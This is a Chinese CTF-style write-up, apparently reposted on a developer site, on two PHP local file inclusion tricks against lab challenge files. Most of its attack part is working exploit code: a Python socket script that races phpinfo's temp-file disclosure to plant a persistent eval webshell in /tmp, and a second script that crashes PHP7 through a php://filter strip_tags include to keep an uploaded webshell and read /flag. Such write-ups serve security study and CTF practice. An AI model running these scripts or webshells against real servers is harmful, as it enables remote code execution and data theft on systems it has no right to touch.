内容简介:前言最近遇到一些文件包含的题目,在本篇文章记录两个trick。复现环境还是很容易搭建的:
前言
最近遇到一些文件包含的题目,在本篇文章记录两个trick。
环境背景
复现环境还是很容易搭建的:
例题1(php7)
index.php
<?php $a = @$_GET['file']; echo 'include $_GET[\'file\']'; if (strpos($a,'flag')!==false) { die('nonono'); } include $a; ?>
dir.php
<?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
例题2(php5)
index.php
<?php $a = @$_GET['file']; echo 'include $_GET[\'file\']'; if (strpos($a,'flag')!==false) { die('nonono'); } include $a; ?>
phpinfo.php
<?php phpinfo(); ?>
两道题的最终目标都是拿到根目录的flag。
phpinfo+LFI
我们看到例题2:
我们有文件包含,那么我们可以轻易的用伪协议泄露源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
这是老生常谈的问题,无需多讲,重点在于如何去读取根目录的flag。
最容易想到的是利用包含:
http://ip/index.php?file=/flag
但是由于:
if (strpos($a,'flag')!==false) { die('nonono'); }
我们并不能进行读取,那么很容易想到,尝试getshell。
这里我们可以介绍第一个trick,即利用phpinfo会打印上传缓存文件路径的特性,进行缓存文件包含达到getshell的目的。
我们简单写一个测试脚本:
import requests from io import BytesIO files = { 'file': BytesIO("<?php echo 'sky is cool!';") } url = "http://ip/phpinfo.php" r = requests.post(url=url, files=files, allow_redirects=False) print r.content
可以看到回显中有如下内容:
_FILES["file"] Array ( [name] => test.txt [type] => application/octet-stream [tmp_name] => /tmp/phptZQ0xZ [error] => 0 [size] => 26 )
我们只要利用这一特性,进行包含getshell即可。
首先我们利用正则匹配,提取临时文件名:
data = re.search(r"(?<=tmp_name] => ).*", r.content).group(0)
接下来就是条件竞争的问题:如何在文件临时文件消失前,包含到它。
这里为了事半功倍,我搜集了一些资料和原理:
1.临时文件在phpinfo页面加载完毕后才会被删除。
2.phpinfo页面会将所有数据都打印出来,包括header。
3.php默认的输出缓冲区大小为4096,可以理解为 php 每次返回4096个字节给socket连接。
(来自ph牛: https://github.com/vulhub/vulhub/tree/master/php/inclusion )
那么我们的竞争流程可以总结为:
1.发送包含了webshell的上传数据包给phpinfo页面,同时在header中塞满垃圾数据。
2.因为phpinfo页面会将所有数据都打印出来,垃圾数据会加大phpinfo加载时间。
3.直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
4.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除。
5.利用这个时间差,在第二个数据包进行文件包含漏洞的利用,即可成功包含临时文件,最终getshell。
同时,对于webshell也有讲究,因为包含过程比较麻烦,如果使用一次性一句话木马:
<?php @eval($_REQUEST[sky]);
则每次执行命令,都要进行一次包含,耗时耗力,所以我们选择包含后写入文件的shell:
<?php file_put_contents('/tmp/sky', '<?php @eval($_REQUEST[sky]);?>');?>
这样一旦包含成功,该 shell 就会在tmp目录下永久留下一句话木马文件sky,下次利用直接轻松包含即可。
尝试进行exp编写:
import os import socket import sys def init(host,port): padding = 'sky'*2000 payload="""sky test!<?php file_put_contents('/tmp/sky', '<?php eval($_REQUEST[sky]);?>');?>\r""" request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r Content-Disposition: form-data; name="file"; filename="test.php"\r Content-Type: text/php\r \r %s ------WebKitFormBoundary9MWZnWxBey8mbAQ8\r Content-Disposition: form-data; name="submit"\r \r Submit\r ------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r """ % payload request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: skypadding="""+padding+"""\r Cache-Control: max-age=0\r Upgrade-Insecure-Requests: 1\r Origin: null\r Accept: """ + padding + """\r User-Agent: """+padding+"""\r Accept-Language: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r Content-Length: %s\r Host: %s:%s\r \r %s""" %(len(request1_data),host,port,request1_data) request2 = """GET /index.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s:%s\r \r \r """ return (request1,request2) def getOffset(host,port,request1): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request1) d = "" while True: i = s.recv(4096) d+=i if i == "": break if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: print 'not fonud' print "found %s at %i" % (d[i:i+10],i) return i+256 def phpinfo_LFI(host,port,offset,request1,request2): s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((host,port)) s2.connect((host,port)) s1.send(request1) d = "" while len(d) < offset: d += s1.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] s2.send(request2 % (fn,host,port)) tmp = s2.recv(4096) if tmp.find("sky test!") != -1: return fn except ValueError: return None s1.close() s2.close() attempts = 1000 host = "ip" port = "port" request1,request2 = init(host,port) offset = getOffset(host,port,request1) for i in range(1,attempts): print "try:"+str(i)+"/"+str(attempts) sys.stdout.flush() res = phpinfo_LFI(host,port,offset,request1,request2) if res is not None: print 'You can getshell with /tmp/sky!' break
编写还是非常容易的,知道原理后,其实不存在多少条件竞争,最多尝试个10次左右就可以达成目的。
随后我们就可以轻松getshell:
LFI+php7崩溃
前一题我们能做,得益于phpinfo的存在,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。
但如果目标不存在phpinfo,应该如何处理呢?
这里可以用php7 segment fault特性。
我们可以利用:
http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd
这样的方式,使php执行过程中出现Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:
这样就能达成我们getshell的目的,脚本相对容易很多:
加上我们有dir.php
<?php $a = @$_GET['dir']; if(!$a){ $a = '/tmp'; } var_dump(scandir($a));
可以进行目录列举,我们只要找到临时文件名即可:
编写exp
import requests from io import BytesIO import re files = { 'file': BytesIO('<?php eval($_REQUEST[sky]);') } url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd' try: r = requests.post(url=url, files=files, allow_redirects=False) except: url = 'http://ip/dir.php' r = requests.get(url) data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0) url = "http://ip/index.php?file=/tmp/"+data data = { 'sky':"readfile('/flag');" } r = requests.post(url=url,data=data) print r.content
运行即可看到flag
➜ Desktop python myexp2.py include $_GET['file']flag{LFI_php7~}
后记
两则trick还是挺有意思的,如果出题不注意很容易进行非预期,同时在日常coding时也得注意这些不起眼的问题,一不留神就会被getshell。
以上所述就是小编给大家介绍的《文件包含&奇技淫巧》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。